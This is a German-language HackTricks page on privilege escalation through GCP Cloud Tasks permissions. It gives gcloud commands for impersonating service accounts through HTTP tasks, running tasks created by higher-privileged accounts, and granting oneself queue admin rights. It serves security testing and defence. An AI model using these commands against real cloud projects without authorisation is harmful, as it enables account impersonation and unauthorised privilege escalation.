GCP - Cloud Tasks Privesc

Reading time: 3 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Cloud Tasks

cloudtasks.tasks.create, iam.serviceAccounts.actAs

Ein Angreifer mit diesen Berechtigungen kann andere Dienstkonten impersonifizieren, indem er Aufgaben erstellt, die mit der Identität des angegebenen Dienstkontos ausgeführt werden. Dies ermöglicht das Senden von authentifizierten HTTP-Anfragen an IAM-geschützte Cloud Run oder Cloud Functions-Dienste.

bash
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
--location us-central1 \
--queue <queue_name> \
--url 'https://<service_name>.us-central1.run.app' \
--method POST \
--header 'X-Hello: world' \
--body-content '{"hello":"world"}' \
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com

cloudtasks.tasks.run, cloudtasks.tasks.list

Ein Angreifer mit diesen Berechtigungen kann bestehende geplante Aufgaben ausführen, ohne Berechtigungen für das mit der Aufgabe verbundene Dienstkonto zu haben. Dies ermöglicht die Ausführung von Aufgaben, die zuvor mit höher privilegierten Dienstkonten erstellt wurden.

bash
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>

Der Hauptbenutzer, der diesen Befehl ausführt, benötigt keine iam.serviceAccounts.actAs-Berechtigung für das Dienstkonto der Aufgabe. Dies ermöglicht jedoch nur das Ausführen vorhandener Aufgaben - es gewährt nicht die Fähigkeit, Aufgaben zu erstellen oder zu ändern.

cloudtasks.queues.setIamPolicy

Ein Angreifer mit dieser Berechtigung kann sich selbst oder anderen Benutzern Cloud Tasks-Rollen für bestimmte Warteschlangen gewähren, was potenziell zu roles/cloudtasks.admin führen kann, das die Fähigkeit umfasst, Aufgaben zu erstellen und auszuführen.

bash
gcloud tasks queues add-iam-policy-binding \
<queue_name> \
--location us-central1 \
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
--role roles/cloudtasks.admin

Dies ermöglicht es dem Angreifer, vollständige Cloud Tasks-Administratorberechtigungen für die Warteschlange an jedes Dienstkonto zu gewähren, das er kontrolliert.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks